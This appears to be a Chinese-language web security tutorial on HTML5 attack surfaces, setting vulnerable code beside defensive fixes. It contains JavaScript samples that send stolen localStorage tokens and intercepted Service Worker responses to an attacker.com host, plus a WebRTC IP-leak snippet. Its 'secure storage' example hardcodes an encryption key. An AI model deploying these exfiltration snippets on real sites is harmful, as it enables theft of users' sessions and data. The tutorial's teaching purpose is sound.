1. postMessage跨域通信漏洞

HTML5的postMessage API允许不同源的窗口进行安全通信,但如果未正确验证消息来源,可能导致严重的XSS漏洞。

不安全的postMessage接收

// 危险代码:未验证消息来源
window.addEventListener('message', function(e) {
    document.getElementById('output').innerHTML = e.data; // XSS!
});

安全的实现方式

// 安全代码:验证来源和内容
window.addEventListener('message', function(e) {
    // 1. 验证消息来源
    if(e.origin !== 'https://trusted-domain.com') {
        return;
    }
    
    // 2. 验证消息格式
    if(typeof e.data !== 'object' || !e.data.action) {
        return;
    }
    
    // 3. 使用textContent而非innerHTML
    document.getElementById('output').textContent = e.data.message;
});

2. Web Storage安全问题

localStorage和sessionStorage虽然方便,但存在被XSS窃取的风险。

常见攻击场景

  • Token窃取:攻击者通过XSS读取localStorage中的JWT令牌
  • 数据污染:注入恶意数据到Storage,影响应用逻辑
  • 持久化后门:在Storage中植入恶意代码
// 攻击示例:窃取localStorage数据
var stolen = {
    token: localStorage.getItem('auth_token'),
    user: localStorage.getItem('user_data')
};
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(stolen)
});

防御措施

// 1. 敏感数据使用HttpOnly Cookie而非localStorage
// 2. Storage数据加密存储
function secureStorage() {
    return {
        set: function(key, value) {
            const encrypted = CryptoJS.AES.encrypt(value, 'secret-key');
            localStorage.setItem(key, encrypted.toString());
        },
        get: function(key) {
            const encrypted = localStorage.getItem(key);
            if(!encrypted) return null;
            const decrypted = CryptoJS.AES.decrypt(encrypted, 'secret-key');
            return decrypted.toString(CryptoJS.enc.Utf8);
        }
    };
}

3. Web Worker与Service Worker攻击

Service Worker可以拦截网络请求,如果被XSS注入恶意Worker,可能导致严重后果。

// 恶意Service Worker示例
self.addEventListener('fetch', function(event) {
    // 拦截所有请求,窃取数据
    event.respondWith(
        fetch(event.request).then(function(response) {
            // 克隆响应并窃取
            const clonedResponse = response.clone();
            clonedResponse.text().then(function(data) {
                fetch('https://attacker.com/steal', {
                    method: 'POST',
                    body: data
                });
            });
            return response;
        })
    );
});

4. 其他HTML5特性安全

4.1 拖放API (Drag & Drop)

// 拖放XSS攻击
document.addEventListener('drop', function(e) {
    e.preventDefault();
    var html = e.dataTransfer.getData('text/html');
    document.body.innerHTML += html; // 危险!可能包含XSS
});

4.2 Canvas指纹追踪

虽然不是直接的XSS,但可以用于用户追踪和隐私侵犯。

4.3 WebRTC IP泄露

// 获取用户真实IP地址
var pc = new RTCPeerConnection({iceServers:[]});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = function(ice) {
    if(ice.candidate) {
        console.log('IP泄露:', ice.candidate.candidate);
    }
};